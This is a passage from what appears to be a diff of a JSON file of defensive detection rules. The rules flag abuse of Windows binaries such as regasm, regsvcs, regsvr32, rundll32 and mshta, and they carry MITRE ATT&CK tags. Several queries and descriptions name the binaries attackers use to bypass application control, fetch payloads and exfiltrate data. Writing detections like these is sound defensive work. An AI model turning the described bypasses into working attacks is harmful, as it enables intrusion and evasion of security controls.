"mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect Regasm Spawning a Process", - "description": "The following analytic detects regasm.exe spawning a child process. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where regasm.exe is the parent process. This activity is significant because regasm.exe spawning a process is rare and can indicate an attempt to bypass application control mechanisms. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment. Immediate investigation is recommended to determine the legitimacy of the spawned process and any associated activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=regasm.exe NOT (Processes.process_name IN (\"conhost.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regasm_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Living Off The Land", - "Snake Keylogger", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ spawning a child process, typically not normal behavior for $parent_process_name$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regasm with Network Connection", - "description": "The following analytic detects the execution of regasm.exe establishing a network connection to a public IP address, excluding private IP ranges. This detection leverages Sysmon EventID 3 logs to identify such behavior. This activity is significant as regasm.exe is a legitimate Microsoft-signed binary that can be exploited to bypass application control mechanisms. If confirmed malicious, this behavior could indicate an adversary's attempt to establish a remote Command and Control (C2) channel, potentially leading to privilege escalation and further malicious actions within the environment.", - "search": "`sysmon` EventID=3 dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16 process_name=regasm.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, user, process_name, src_ip, dest_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regasm_with_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ contacting a remote destination was identified on endpoint $dest$ by user $user$. This behavior is not normal for $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regasm with no Command Line Arguments", - "description": "The following analytic detects instances of regasm.exe running without command line arguments. This behavior typically indicates process injection, where another process manipulates regasm.exe. The detection leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line executions. This activity is significant as it may signal an attempt to evade detection or execute malicious code. If confirmed malicious, attackers could achieve code execution, potentially leading to privilege escalation, persistence, or access to sensitive information. Investigate network connections, parallel processes, and suspicious module loads for further context.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_regasm` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(regasm\\.exe.{0,4}$)\" | `detect_regasm_with_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The process $process_name$ was spawned by $parent_process_name$ without any command-line arguments on $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs Spawning a Process", - "description": "The following analytic identifies regsvcs.exe spawning a child process. This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is regsvcs.exe. This activity is significant because regsvcs.exe rarely spawns child processes, and such behavior can indicate an attempt to bypass application control mechanisms. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment. Immediate investigation is recommended to determine the legitimacy of the spawned process and any associated suspicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=regsvcs.exe by Processes.parent_process_name Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regsvcs_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ typically not normal for this process.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs with Network Connection", - "description": "The following analytic identifies instances of Regsvcs.exe establishing a network connection to a public IP address, excluding private IP ranges. This detection leverages Sysmon Event ID 3 logs to monitor network connections initiated by Regsvcs.exe. This activity is significant as Regsvcs.exe, a legitimate Microsoft-signed binary, can be exploited to bypass application control mechanisms and establish remote Command and Control (C2) channels. If confirmed malicious, this behavior could allow an attacker to escalate privileges, persist in the environment, and exfiltrate sensitive data. Immediate investigation and remediation are recommended.", - "search": "`sysmon` EventID=3 dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16 process_name=regsvcs.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, user, process_name, src_ip, dest_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regsvcs_with_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ contacting a remote destination was identified on endpoint $dest$ by user $user$. This behavior is not normal for $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs with No Command Line Arguments", - "description": "The following analytic detects instances of regsvcs.exe running without command line arguments. This behavior typically indicates process injection, where another process manipulates regsvcs.exe. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, IDs, and command-line executions. This activity is significant as it may signal an attempt to evade detection and execute malicious code. If confirmed malicious, the attacker could achieve code execution, potentially leading to privilege escalation, persistence, or access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_regsvcs` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(regsvcs\\.exe.{0,4}$)\"| `detect_regsvcs_with_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The process $process_name$ was spawned by $parent_process_name$ without any command-line arguments on $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvr32 Application Control Bypass", - "description": "The following analytic identifies the abuse of Regsvr32.exe to proxy execution of malicious code, specifically detecting the loading of \"scrobj.dll\" by Regsvr32.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line executions. This activity is significant because Regsvr32.exe is a trusted, signed Microsoft binary, often used in \"Squiblydoo\" attacks to bypass application control mechanisms. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` Processes.process=*scrobj* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_regsvr32_application_control_bypass_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ in an attempt to bypass detection and preventative controls was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - advpack", - "description": "The following analytic detects the execution of rundll32.exe loading advpack.dll or ieadvpack.dll via the LaunchINFSection function. This method is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions and process details. This activity is significant as it indicates a potential application control bypass, allowing script code execution from a file. If confirmed malicious, an attacker could execute arbitrary code, potentially leading to privilege escalation, persistence, or further network compromise. Investigate script content, network connections, and any spawned child processes for further context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*advpack* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___advpack_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading advpack.dll and ieadvpack.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - setupapi", - "description": "The following analytic detects the execution of rundll32.exe loading setupapi.dll and iesetupapi.dll via the LaunchINFSection function. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events and command-line arguments. This activity is significant as it indicates a potential application control bypass, allowing an attacker to execute arbitrary script code. If confirmed malicious, this technique could enable code execution, privilege escalation, or persistence within the environment, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*setupapi* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___setupapi_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading setupapi.dll and iesetupapi.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - syssetup", - "description": "The following analytic detects the execution of rundll32.exe loading syssetup.dll via the LaunchINFSection function. This method is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions and process details. This activity is significant as it indicates a potential application control bypass, allowing script code execution from a file. If confirmed malicious, an attacker could execute arbitrary code, potentially leading to privilege escalation, persistence, or further network compromise. Investigate the script content, network connections, and any spawned child processes for further context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*syssetup* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___syssetup_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading syssetup.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Inline HTA Execution", - "description": "The following analytic detects the execution of \"rundll32.exe\" with inline protocol handlers such as \"JavaScript\", \"VBScript\", and \"About\". This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line arguments. This activity is significant as it is often associated with fileless malware or application whitelisting bypass techniques. If confirmed malicious, this could allow an attacker to execute arbitrary code, bypass security controls, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` (Processes.process=*vbscript* OR Processes.process=*javascript* OR Processes.process=*about*) by Processes.user Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_rundll32_inline_hta_execution_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "NOBELIUM Group", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious rundll32.exe inline HTA execution on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "LOLBAS With Network Traffic", - "description": "The following analytic identifies the use of Living Off the Land Binaries and Scripts (LOLBAS) with network traffic. It leverages data from the Network Traffic data model to detect when native Windows binaries, often abused by adversaries, initiate network connections. This activity is significant as LOLBAS are frequently used to download malicious payloads, enabling lateral movement, command-and-control, or data exfiltration. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where (All_Traffic.app IN (\"*Regsvcs.exe\", \"*\\\\Ftp.exe\", \"*OfflineScannerShell.exe\", \"*Rasautou.exe\", \"*Schtasks.exe\", \"*Xwizard.exe\", \"*Pnputil.exe\", \"*Atbroker.exe\", \"*Pcwrun.exe\", \"*Ttdinject.exe\", \"*Mshta.exe\", \"*Bitsadmin.exe\", \"*Certoc.exe\", \"*Ieexec.exe\", \"*Microsoft.Workflow.Compiler.exe\", \"*Runscripthelper.exe\", \"*Forfiles.exe\", \"*Msbuild.exe\", \"*Register-cimprovider.exe\", \"*Tttracer.exe\", \"*Ie4uinit.exe\", \"*Bash.exe\", \"*Hh.exe\", \"*SettingSyncHost.exe\", \"*Cmstp.exe\", \"*Stordiag.exe\", \"*Scriptrunner.exe\", \"*Odbcconf.exe\", \"*Extexport.exe\", \"*Msdt.exe\", \"*WorkFolders.exe\", \"*Diskshadow.exe\", \"*Mavinject.exe\", \"*Regasm.exe\", \"*Gpscript.exe\", \"*Regsvr32.exe\", \"*Msiexec.exe\", \"*Wuauclt.exe\", \"*Presentationhost.exe\", \"*Wmic.exe\", \"*Runonce.exe\", \"*Syncappvpublishingserver.exe\", \"*Verclsid.exe\", \"*Infdefaultinstall.exe\", \"*Installutil.exe\", \"*Netsh.exe\", \"*Wab.exe\", \"*Dnscmd.exe\", \"*\\\\At.exe\", \"*Pcalua.exe\", \"*Msconfig.exe\", \"*makecab.exe\", \"*cscript.exe\", \"*notepad.exe\", \"*\\\\cmd.exe\", \"*certutil.exe\", \"*\\\\powershell.exe\", \"*powershell_ise.exe\")) by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `lolbas_with_network_traffic_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Attacker" - ] - } - ], - "message": "The LOLBAS $process_name$ on device $src$ was seen communicating with $dest$.", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Mshta spawning Rundll32 OR Regsvr32 Process", - "description": "The following analytic detects a suspicious mshta.exe process spawning rundll32 or regsvr32 child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUID, process name, and parent process fields. This activity is significant as it is a known technique used by malware like Trickbot to load malicious DLLs and execute payloads. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or download additional malware, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = \"mshta.exe\" `process_rundll32` OR `process_regsvr32` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | 